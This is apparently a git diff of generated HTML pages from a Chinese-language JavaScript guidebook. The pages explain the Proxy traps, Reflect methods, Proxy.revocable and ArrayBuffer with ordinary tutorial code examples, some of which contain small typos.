                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.preventExtensions()
                                                                                                                            • Reflect.preventExtensions()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • 如果 Object.isExtensible(proxy)falseObject.preventExtensions(proxy) 只能返回 true

                                                                                                                            示例

                                                                                                                            以下代码演示了如何拦截 Object.preventExtensions()

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            preventExtensions: function (target) {
                                                                                                                            console.log('Called');
                                                                                                                            Object.preventExtensions(target);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +
                                                                                                                            console.log(Object.preventExtensions(proxy));
                                                                                                                            // "Called"
                                                                                                                            // false
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/proxy/index.html b/standard-built-in-objects/reflection/proxy/index.html index b0933be75..bc7d5c90d 100644 --- a/standard-built-in-objects/reflection/proxy/index.html +++ b/standard-built-in-objects/reflection/proxy/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy

                                                                                                                            Proxy 对象用于修改某些操作的默认行为(如属性查找、赋值、枚举、函数调用等),等同于在语言层面做出修改,所以属于一种 元编程(Meta Programming),即对编程语言进行编程。

                                                                                                                            Proxy 可以理解成,在目标对象之前架设一层 拦截,外界对该对象的访问,都必须先通过这层拦截,因此提供了一种机制,可以对外界的访问进行过滤和改写。

                                                                                                                            Proxy 这个词的原意是 代理,用在这里表示由它来 代理 某些操作,可以译为 代理器

                                                                                                                            • target:被 Proxy 处理虚拟化的对象,它常被作为代理的存储后端,根据目标验证关于对象不可扩展性或不可配置属性的不变量(保持不变的语义)
                                                                                                                            • handler:包含捕捉器(Trap)的占位符对象,可译为处理器对象
                                                                                                                            • traps:提供属性访问的方法,这类似于操作系统中捕获器的概念

                                                                                                                            使用方式:

                                                                                                                            ES6 原生提供 Proxy 构造函数,用来生成 Proxy 实例。

                                                                                                                            const proxy = new Proxy(target, handler);

                                                                                                                            Proxy 对象的所有用法,都是上面这种形式,不同的只是 handler 参数的写法。其中,new Proxy() 表示生成一个 Proxy 实例,target 参数表示所要拦截的目标对象,handler 参数也是一个对象,用于定制拦截行为。

                                                                                                                            基本使用

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            get: function (target, property, receiver) {
                                                                                                                            console.log(`Getting ${property}!`);
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy

                                                                                                                            Proxy 对象用于修改某些操作的默认行为(如属性查找、赋值、枚举、函数调用等),等同于在语言层面做出修改,所以属于一种 元编程(Meta Programming),即对编程语言进行编程。

                                                                                                                            Proxy 可以理解成,在目标对象之前架设一层 拦截,外界对该对象的访问,都必须先通过这层拦截,因此提供了一种机制,可以对外界的访问进行过滤和改写。

                                                                                                                            Proxy 这个词的原意是 代理,用在这里表示由它来 代理 某些操作,可以译为 代理器

                                                                                                                            • target:被 Proxy 处理虚拟化的对象,它常被作为代理的存储后端,根据目标验证关于对象不可扩展性或不可配置属性的不变量(保持不变的语义)
                                                                                                                            • handler:包含捕捉器(Trap)的占位符对象,可译为处理器对象
                                                                                                                            • traps:提供属性访问的方法,这类似于操作系统中捕获器的概念

                                                                                                                            使用方式:

                                                                                                                            ES6 原生提供 Proxy 构造函数,用来生成 Proxy 实例。

                                                                                                                            const proxy = new Proxy(target, handler);

                                                                                                                            Proxy 对象的所有用法,都是上面这种形式,不同的只是 handler 参数的写法。其中,new Proxy() 表示生成一个 Proxy 实例,target 参数表示所要拦截的目标对象,handler 参数也是一个对象,用于定制拦截行为。

                                                                                                                            基本使用

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            get: function (target, property, receiver) {
                                                                                                                            console.log(`Getting ${property}!`);
                                                                                                                            return Reflect.get(target, property, receiver);
                                                                                                                            },
                                                                                                                            set: function (target, proxyKey, value, receiver) {
                                                                                                                            console.log(`Getting ${property}!`);
                                                                                                                            return Reflect.set(target, property, value, receiver);
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );

                                                                                                                            上面代码对一个空对象架设了一层拦截,重定义了属性的 读取get)和 设置set)行为。这里暂时先不解释具体的语法,只看运行结果。对设置了拦截行为的对象 proxy,去读写它的属性,就会得到下面的结果。

                                                                                                                            proxy.count = 1;
                                                                                                                            // Setting count!
                                                                                                                            ++proxy.count;
                                                                                                                            // Getting count!
                                                                                                                            // Setting count!
                                                                                                                            // 2

                                                                                                                            上面代码说明,Proxy 实际上 重载(Overload)了点运算符,即用自己的定义覆盖了语言的原始定义。

                                                                                                                            代理的引用上下文问题

                                                                                                                            虽然 Proxy 可以代理针对目标对象的访问,但它不是目标对象的透明代理,即不做任何拦截的情况下,也无法保证与目标对象的行为一致。主要原因就是 Proxy 代理的情况下,目标对象内部的 this 关键字会指向 Proxy 代理。

                                                                                                                            const target = {
                                                                                                                            foo: function () {
                                                                                                                            console.log(this === proxy);
                                                                                                                            },
                                                                                                                            };
                                                                                                                            @@ -90,12 +93,12 @@
                                                                                                                            proxy.name = 'Notebook';
                                                                                                                            // 设置 name : The Devil wears prada -> Notebook
                                                                                                                            proxy.name = 'asdf';
                                                                                                                            // 设置 name : Notebook -> asdf

                                                                                                                            如上述例子一样,来定位对象的某个属性到底是什么时候被修改,并且你也可以通过 console.trace 等方法来排查是在什么地方被修改了。

                                                                                                                            扩展到其他类型的 handler,你对某个对象包了一层 Proxy 之后,你还可以知道它上面的属性是什么时候什么地方被读取、被调用、被初始化、被删除、被存取 property 等等。

                                                                                                                            听起来排查动态类型的问题可以变得更简单了。如果有了流行的对象监控库,开发者可以主需要引入这个库然后包一下需要监控的对象就可以把这个对象完整的操作记录都打印出来了。

                                                                                                                            动态代理

                                                                                                                            简单实现代理:

                                                                                                                            const axios = require('axios');
                                                                                                                            const instance = axios.create({ baseURL: 'http://localhost:3000/api' });
                                                                                                                            const METHODS = ['get', 'post', 'patch'];
                                                                                                                            // proxy api
                                                                                                                            const api = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            // proxy api.${name}
                                                                                                                            get: (_, name) =>
                                                                                                                            new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            // proxy api.${name}.${method}
                                                                                                                            get: (_, method) =>
                                                                                                                            METHODS.includes(method) &&
                                                                                                                            new Proxy(() => {}, {
                                                                                                                            // proxy api.${name}.${method}()
                                                                                                                            apply: (_, self, [config]) =>
                                                                                                                            instance.request({
                                                                                                                            url: name, // /api/${name}
                                                                                                                            method, // ${method}
                                                                                                                            ...config,
                                                                                                                            }),
                                                                                                                            }),
                                                                                                                            }
                                                                                                                            ),
                                                                                                                            }
                                                                                                                            );

                                                                                                                            使用方式可以是:

                                                                                                                            // GET /api/user?id=12
                                                                                                                            api.user
                                                                                                                            .get({ params: { id: 12 } })
                                                                                                                            .then((user) => console.log(user))
                                                                                                                            .catch(console.error);
                                                                                                                            -
                                                                                                                            // POST /api/register
                                                                                                                            api.register
                                                                                                                            .post({ body: { username: 'xxx', passworld: 'xxxx' } })
                                                                                                                            .then((res) => console.log(res))
                                                                                                                            .catch(console.error);

                                                                                                                            设计模式中有一种中介者模式(Mediator pattern),在这个模式中,可以把 Proxy 当做对象之间的交互时候的中介。在这种情况下,我们不需要定义不同的对象之间的关系,只需要 Proxy 对外保证一致的体验即可。

                                                                                                                            更长远一点来说,通过 Proxy 也可以实现热重载的场景,我们可以通过让 Proxy 指向新 require 的代码来替换旧版的代码来实现热重载而对开发者隐藏这个细节。


                                                                                                                            参考资料:

                                                                                                                            +
                                                                                                                            // POST /api/register
                                                                                                                            api.register
                                                                                                                            .post({ body: { username: 'xxx', passworld: 'xxxx' } })
                                                                                                                            .then((res) => console.log(res))
                                                                                                                            .catch(console.error);

                                                                                                                            设计模式中有一种中介者模式(Mediator pattern),在这个模式中,可以把 Proxy 当做对象之间的交互时候的中介。在这种情况下,我们不需要定义不同的对象之间的关系,只需要 Proxy 对外保证一致的体验即可。

                                                                                                                            更长远一点来说,通过 Proxy 也可以实现热重载的场景,我们可以通过让 Proxy 指向新 require 的代码来替换旧版的代码来实现热重载而对开发者隐藏这个细节。


                                                                                                                            参考资料:

                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/reflect/index.html b/standard-built-in-objects/reflection/reflect/index.html index 9410bd216..8fbff28c7 100644 --- a/standard-built-in-objects/reflection/reflect/index.html +++ b/standard-built-in-objects/reflection/reflect/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Reflect - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Reflect

                                                                                                                            Reflect 是一个内置的对象,它提供拦截 JavaScript 操作的方法。这些方法与处理器对象的方法相同。Reflect 不是一个函数对象,因此它不是不可构造的。

                                                                                                                            设计目的:

                                                                                                                            1. 将 Object 对象的一些明显属于语言内部的方法(比如 Object.defineProperty),放到 Reflect 对象上。现阶段,某些方法同时在 Object 和 Reflect 对象上部署,未来的新方法将只部署在 Reflect 对象上。也就是说,从 Reflect 对象上可以拿到语言内部的方法。

                                                                                                                            2. 修改某些 Object 方法的返回结果,让其变得更合理。比如,Object.defineProperty(obj, name, desc) 在无法定义属性时,会抛出一个错误,而 Reflect.defineProperty(obj, name, desc) 则会返回 false

                                                                                                                            3. 让 Object 的 命令式操作 都变成 函数行为。比如 name in objdelete obj[name],而 Relfect.has(obj, name)Reflect.deleteProperty(obj, name) 让它们变成了函数行为

                                                                                                                            4. Reflect 对象的方法与 Proxy 对象的方法一一对应,只要是 Proxy 对象的方法,就能在 Reflect 对象上找到对应的方法。这就让 Proxy 对象可以方便地调用对应的 Reflect 方法,完成默认行为,作为修改行为的基础。也就是说,不管 Proxy 怎么修改默认行为,你总可以在 Reflect 上获取默认行为。

                                                                                                                            Proxy(target, {
                                                                                                                            set: function(target, name, value, receiver) {
                                                                                                                            const success = Reflect.set(target, name, value, receiver);
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Reflect

                                                                                                                            Reflect 是一个内置的对象,它提供拦截 JavaScript 操作的方法。这些方法与处理器对象的方法相同。Reflect 不是一个函数对象,因此它不是不可构造的。

                                                                                                                            设计目的:

                                                                                                                            1. 将 Object 对象的一些明显属于语言内部的方法(比如 Object.defineProperty),放到 Reflect 对象上。现阶段,某些方法同时在 Object 和 Reflect 对象上部署,未来的新方法将只部署在 Reflect 对象上。也就是说,从 Reflect 对象上可以拿到语言内部的方法。

                                                                                                                            2. 修改某些 Object 方法的返回结果,让其变得更合理。比如,Object.defineProperty(obj, name, desc) 在无法定义属性时,会抛出一个错误,而 Reflect.defineProperty(obj, name, desc) 则会返回 false

                                                                                                                            3. 让 Object 的 命令式操作 都变成 函数行为。比如 name in objdelete obj[name],而 Relfect.has(obj, name)Reflect.deleteProperty(obj, name) 让它们变成了函数行为

                                                                                                                            4. Reflect 对象的方法与 Proxy 对象的方法一一对应,只要是 Proxy 对象的方法,就能在 Reflect 对象上找到对应的方法。这就让 Proxy 对象可以方便地调用对应的 Reflect 方法,完成默认行为,作为修改行为的基础。也就是说,不管 Proxy 怎么修改默认行为,你总可以在 Reflect 上获取默认行为。

                                                                                                                            Proxy(target, {
                                                                                                                            set: function(target, name, value, receiver) {
                                                                                                                            const success = Reflect.set(target, name, value, receiver);
                                                                                                                            if (success) {
                                                                                                                            console.log('property ' + name + ' on ' + target + ' set to ' + value);
                                                                                                                            }
                                                                                                                            return successs;
                                                                                                                            },
                                                                                                                            });

                                                                                                                            上面代码中,Proxy 方法拦截 target 对象的属性赋值行为。它采用 Reflect.set 方法将值赋值给对象的属性,确保完成原有的行为,然后再部署额外的功能。

                                                                                                                            const proxy = new Proxy(obj, {
                                                                                                                            get(target, name) {
                                                                                                                            console.log('get', target, name);
                                                                                                                            return Reflect.get(target, name);
                                                                                                                            },
                                                                                                                            deleteProperty(target, name) {
                                                                                                                            console.log('delete' + name);
                                                                                                                            return Reflect.deleteProperty(target, name);
                                                                                                                            },
                                                                                                                            has(target, name) {
                                                                                                                            console.log('has' + name);
                                                                                                                            return Reflect.has(target, name);
                                                                                                                            },
                                                                                                                            });

                                                                                                                            上面代码中,每一个 Proxy 对象的拦截操作(getdeletehas),内部都调用对应的 Reflect 方法,保证原生行为能够正常执行。添加的工作,就是将每一个操作输出一行日志。

                                                                                                                            有了 Reflect 对象以后,很多操作会更易读。

                                                                                                                            // 老写法
                                                                                                                            Function.prototype.apply.call(Math.floor, undefined, [1.75]);
                                                                                                                            // 1
                                                                                                                            // 新写法
                                                                                                                            Reflect.apply(Math.floor, undefined, [1.75]);
                                                                                                                            // 1

                                                                                                                            与大多数全局对象不同,Reflect 没有构造函数,你不能将其与一个 new 运算符一起使用,或者 Reflect 对象作为一个函数来调用。Reflect 的所有属性和方法都是静态的(就像 Math 对象)。

                                                                                                                            静态方法

                                                                                                                            静态方法说明
                                                                                                                            Reflect.apply对函数进行调用操作,同时传入一个数组作为调用参数,与 Function.prototype.apply 功能类似
                                                                                                                            Reflect.construct对构造函数进行 new 操作,相当于执行 new target(...args)
                                                                                                                            Reflect.definePropertyObject.defineProperty 类似
                                                                                                                            Reflect.deleteProperty作为函数的 delete 操作符,相当于执行 delete target[name]
                                                                                                                            Reflect.get获取对象属性值
                                                                                                                            Reflect.getOwnPropertyDescriptor类似于 Object.getOwnPropertyDescriptor
                                                                                                                            Reflect.getPrototypeOf类似于 Object.getPrototypeOf
                                                                                                                            Reflect.has判断对象是否存在某个属性,和 in 运算符的功能完全相同
                                                                                                                            Reflect.isExtensible类似于 Object.isExtensible
                                                                                                                            Reflect.ownKeys返回一个包含所有自身属性(不包含继承属性)的数组
                                                                                                                            Reflect.preventExtensions类似于 Object.preventExtensions
                                                                                                                            Reflect.set将值分配给属性的函数,返回 Boolean,如果成功,则返回 true
                                                                                                                            Reflect.setPrototypeOf类似于 Object.setPrototyeOf

                                                                                                                            与传统方法的对比优势

                                                                                                                            Reflect 操作对象更加符合面向对象,操作对象的方法全部都挂在 Reflect。

                                                                                                                            Reflect 操作对象老方法操作对象
                                                                                                                            面向对象全部挂在 Reflect 对象上,更加符合面向对象各种指令方法,=indelete
                                                                                                                            函数式所有方法都是函数命令式、赋值、函数混用
                                                                                                                            规范报错defineProperty 无效返回 false,后面几个方法参数非法报错defineProperty 无效报错,后面几个方法参数非法不报错
                                                                                                                            方法扩展参数 receiver 指定 this 指向不能

                                                                                                                            示例

                                                                                                                            观察者模式

                                                                                                                            观察者模式(Observer mode)指的是函数自动观察数据对象,一旦对象有变化,函数就会自动执行。

                                                                                                                            const person = observerable({
                                                                                                                            name: 'Zhange San',
                                                                                                                            age: 47,
                                                                                                                            });
                                                                                                                            @@ -42,12 +45,12 @@
                                                                                                                            return result;
                                                                                                                            }

                                                                                                                            获取设置反射属性

                                                                                                                            const Ironman = {
                                                                                                                            firstName: 'Tony',
                                                                                                                            lastName: 'Stark',
                                                                                                                            get fullName() {
                                                                                                                            return `${this.firstName} ${this.lastName}`;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            // 获取自身属性,新老方法都可以实现
                                                                                                                            Reflect.get(Ironman, 'firstName');
                                                                                                                            // Tony
                                                                                                                            Reflect.get(Ironman, 'lastName');
                                                                                                                            // Tony
                                                                                                                            Reflect.get(Ironman, 'fullName');
                                                                                                                            // Tony Stark
                                                                                                                            const Spiderman = {
                                                                                                                            firstName: 'Peter',
                                                                                                                            lastName: 'Parker',
                                                                                                                            };
                                                                                                                            -
                                                                                                                            // 获取反射属性,只有 Reflect 可以实现
                                                                                                                            Reflect.get(Ironman, 'fullName', Spiderman);
                                                                                                                            // Peter Parker
                                                                                                                            +
                                                                                                                            // 获取反射属性,只有 Reflect 可以实现
                                                                                                                            Reflect.get(Ironman, 'fullName', Spiderman);
                                                                                                                            // Peter Parker
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/revocable/index.html b/standard-built-in-objects/reflection/revocable/index.html index 06f8f03f7..7a7bddfe0 100644 --- a/standard-built-in-objects/reflection/revocable/index.html +++ b/standard-built-in-objects/reflection/revocable/index.html @@ -7,40 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - revocable - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - revocable

                                                                                                                            Proxy.revocable() 方法可以用于创建一个可撤销的代理对象。

                                                                                                                            语法

                                                                                                                            Proxy.revocable(target, handler);
                                                                                                                            参数说明类型
                                                                                                                            target将用 Proxy 封装的目标对象any
                                                                                                                            handler一个对象,其属性是一批可选的函数,这些函数定义了对应的操作被执行时代理的行为object

                                                                                                                            返回一个包含了代理对象本身和它的撤销方法的可撤销 Proxy 对象。

                                                                                                                            说明

                                                                                                                            该方法的返回值是一个对象,其结构为:

                                                                                                                            {
                                                                                                                            "proxy": proxy,
                                                                                                                            "revoke": revoke
                                                                                                                            }

                                                                                                                            其中:

                                                                                                                            • proxy:表示新生成的代理对象本身,和用一般方式 new Proxy(target, handler) 创建的代理对象没什么不同,只是它可以被撤销掉
                                                                                                                            • revoke:撤销方法,调用的时候不需要加任何参数,就可以撤销掉和它一起生成的哪个代理对象

                                                                                                                            一旦某个对象被撤销,它将变得几乎完成不可调用,在它身上执行任何的 可代理操作 都会抛出 TypeError 异常(注意,可代理操作一共有 14 种,执行这 14 种操作以外的操作不会抛出异常)。一旦被撤销,这个代理对象便不可能被直接恢复到原来的状态,同时

                                                                                                                            示例

                                                                                                                            const revocable = Proxy.revocable(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            get(target, name) {
                                                                                                                            return '[[' + name + ']]';
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - revocable

                                                                                                                            Proxy.revocable() 方法可以用于创建一个可撤销的代理对象。

                                                                                                                            语法

                                                                                                                            Proxy.revocable(target, handler);
                                                                                                                            参数说明类型
                                                                                                                            target将用 Proxy 封装的目标对象any
                                                                                                                            handler一个对象,其属性是一批可选的函数,这些函数定义了对应的操作被执行时代理的行为object

                                                                                                                            返回一个包含了代理对象本身和它的撤销方法的可撤销 Proxy 对象。

                                                                                                                            说明

                                                                                                                            该方法的返回值是一个对象,其结构为:

                                                                                                                            {
                                                                                                                            "proxy": proxy,
                                                                                                                            "revoke": revoke
                                                                                                                            }

                                                                                                                            其中:

                                                                                                                            • proxy:表示新生成的代理对象本身,和用一般方式 new Proxy(target, handler) 创建的代理对象没什么不同,只是它可以被撤销掉
                                                                                                                            • revoke:撤销方法,调用的时候不需要加任何参数,就可以撤销掉和它一起生成的哪个代理对象

                                                                                                                            一旦某个对象被撤销,它将变得几乎完成不可调用,在它身上执行任何的 可代理操作 都会抛出 TypeError 异常(注意,可代理操作一共有 14 种,执行这 14 种操作以外的操作不会抛出异常)。一旦被撤销,这个代理对象便不可能被直接恢复到原来的状态,同时

                                                                                                                            示例

                                                                                                                            const revocable = Proxy.revocable(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            get(target, name) {
                                                                                                                            return '[[' + name + ']]';
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            const proxy = revocable.proxy;
                                                                                                                            console.log(proxy.foo);
                                                                                                                            // "[[foo]]"
                                                                                                                            revocable.revoke();
                                                                                                                            console.log(proxy.foo);
                                                                                                                            // Uncaught TypeError: Cannot perform 'get' on a proxy that has been revoked
                                                                                                                            proxy.foo = 1;
                                                                                                                            // Uncaught TypeError: Cannot perform 'set' on a proxy that has been revoked
                                                                                                                            delete proxy.foo;
                                                                                                                            // Uncaught TypeError: Cannot perform 'deleteProperty' on a proxy that has been revoked
                                                                                                                            -
                                                                                                                            console.log(typeof proxy);
                                                                                                                            // "object"
                                                                                                                            // 因为 typeof 不属于可代理操作

                                                                                                                            Proxy.revocable() 的一个使用场景是,目标对象不允许直接访问,必须通过代理访问,一旦访问结束,就收回代理权,不允许再次访问。

                                                                                                                            +
                                                                                                                            console.log(typeof proxy);
                                                                                                                            // "object"
                                                                                                                            // 因为 typeof 不属于可代理操作

                                                                                                                            Proxy.revocable() 的一个使用场景是,目标对象不允许直接访问,必须通过代理访问,一旦访问结束,就收回代理权,不允许再次访问。

                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/set-prototype-of/index.html b/standard-built-in-objects/reflection/set-prototype-of/index.html index ce915b029..bfe26a5ae 100644 --- a/standard-built-in-objects/reflection/set-prototype-of/index.html +++ b/standard-built-in-objects/reflection/set-prototype-of/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.setPrototypeOf - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.setPrototypeOf

                                                                                                                            handler.setPrototypeOf() 方法用于拦截 Object.setPrototypeOf 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            setPrototypeOf: function (target, prototype) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.setPrototypeOf()
                                                                                                                            • Reflect.setPrototypeOf()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • 如果 target 不可扩展,原型参数必须与 Object.getPrototypeOf(target) 的值相同

                                                                                                                            示例

                                                                                                                            以下代码演示了如何拦截 Object.setPrototypeOf()

                                                                                                                            const handler = {
                                                                                                                            setPrototypeOf(target, proto) {
                                                                                                                            throw new Error('Changing the prototype is forbidden');
                                                                                                                            },
                                                                                                                            };
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.setPrototypeOf

                                                                                                                            handler.setPrototypeOf() 方法用于拦截 Object.setPrototypeOf 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            setPrototypeOf: function (target, prototype) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.setPrototypeOf()
                                                                                                                            • Reflect.setPrototypeOf()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • 如果 target 不可扩展,原型参数必须与 Object.getPrototypeOf(target) 的值相同

                                                                                                                            示例

                                                                                                                            以下代码演示了如何拦截 Object.setPrototypeOf()

                                                                                                                            const handler = {
                                                                                                                            setPrototypeOf(target, proto) {
                                                                                                                            throw new Error('Changing the prototype is forbidden');
                                                                                                                            },
                                                                                                                            };
                                                                                                                            const proto = {};
                                                                                                                            const target = function () {};
                                                                                                                            const proxy = new Proxy(target, handler);
                                                                                                                            -
                                                                                                                            Object.setPrototypeOf(proxy, proto);
                                                                                                                            // Error: Changing the prototype is forbidden

                                                                                                                            注意,该方法只能返回布尔值,否则会被自动转为布尔值。另外,如果目标对象不可扩展(non-extensible),setPrototypeOf() 方法不得改变目标对象的原型。

                                                                                                                            +
                                                                                                                            Object.setPrototypeOf(proxy, proto);
                                                                                                                            // Error: Changing the prototype is forbidden

                                                                                                                            注意,该方法只能返回布尔值,否则会被自动转为布尔值。另外,如果目标对象不可扩展(non-extensible),setPrototypeOf() 方法不得改变目标对象的原型。

                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/set/index.html b/standard-built-in-objects/reflection/set/index.html index 2b5e343f3..95965cad9 100644 --- a/standard-built-in-objects/reflection/set/index.html +++ b/standard-built-in-objects/reflection/set/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.set - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.set

                                                                                                                            handler.set() 方法用于拦截对象属性的赋值操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            get: function (target, property, value, receiver) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property属性名string 或 symbol
                                                                                                                            value新属性值any
                                                                                                                            receiver最初被调用的对象object

                                                                                                                            返回值

                                                                                                                            set 方法返回一个布尔值,表示是否设置成功。

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 指定属性值:proxy[foo] = barproxy.foo = bar
                                                                                                                            • 指定继承者的属性值:Object.create(proxy)[foo] = bar
                                                                                                                            • Reflect.set()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标属性是一个不可写及不可配置的数据属性,则 Proxy 对这个属性的 set 代理不会生效,且不能改变它的值
                                                                                                                            • 如果目标属性没有配置存储方法,即 [[Set]] 属性的是 undefined,则不能设置它的值
                                                                                                                            • 在严格模式下,如果 set 方法返回 false,那么也会抛出一个 TypeError 异常

                                                                                                                            示例

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            set: function (target, prop, value, receiver) {
                                                                                                                            target[prop] = value;
                                                                                                                            console.log('property set:' + prop + ' = ' + value);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.set

                                                                                                                            handler.set() 方法用于拦截对象属性的赋值操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            get: function (target, property, value, receiver) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property属性名string 或 symbol
                                                                                                                            value新属性值any
                                                                                                                            receiver最初被调用的对象object

                                                                                                                            返回值

                                                                                                                            set 方法返回一个布尔值,表示是否设置成功。

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 指定属性值:proxy[foo] = barproxy.foo = bar
                                                                                                                            • 指定继承者的属性值:Object.create(proxy)[foo] = bar
                                                                                                                            • Reflect.set()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标属性是一个不可写及不可配置的数据属性,则 Proxy 对这个属性的 set 代理不会生效,且不能改变它的值
                                                                                                                            • 如果目标属性没有配置存储方法,即 [[Set]] 属性的是 undefined,则不能设置它的值
                                                                                                                            • 在严格模式下,如果 set 方法返回 false,那么也会抛出一个 TypeError 异常

                                                                                                                            示例

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            set: function (target, prop, value, receiver) {
                                                                                                                            target[prop] = value;
                                                                                                                            console.log('property set:' + prop + ' = ' + value);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            console.log('foo' in proxy);
                                                                                                                            // false
                                                                                                                            proxy.foo = 100;
                                                                                                                            // 'property set:' foo = 100
                                                                                                                            console.log('foo' in proxy);
                                                                                                                            // true
                                                                                                                            @@ -42,12 +45,12 @@
                                                                                                                            const handler = {
                                                                                                                            get(target, prop) {
                                                                                                                            invariant(prop, 'get');
                                                                                                                            return target[prop];
                                                                                                                            },
                                                                                                                            set(target, prop, value) {
                                                                                                                            invariant(prop, 'set');
                                                                                                                            target[prop] = value;
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            const target = {};
                                                                                                                            const proxy = new Proxy(target, handler);
                                                                                                                            console.log(proxy._prop);
                                                                                                                            // Uncaught Error: Invalid attempt to get private "_prop" property
                                                                                                                            -
                                                                                                                            proxy._prop = 'c';
                                                                                                                            // Uncaught Error: Invalid attempt to set private "_prop" property
                                                                                                                            +
                                                                                                                            proxy._prop = 'c';
                                                                                                                            // Uncaught Error: Invalid attempt to set private "_prop" property
                                                                                                                            - + diff --git a/standard-built-in-objects/structured-data/array-buffer/index.html b/standard-built-in-objects/structured-data/array-buffer/index.html index 3824fc0ac..49d83ff25 100644 --- a/standard-built-in-objects/structured-data/array-buffer/index.html +++ b/standard-built-in-objects/structured-data/array-buffer/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + ArrayBuffer - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            ArrayBuffer 对象

                                                                                                                            ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。

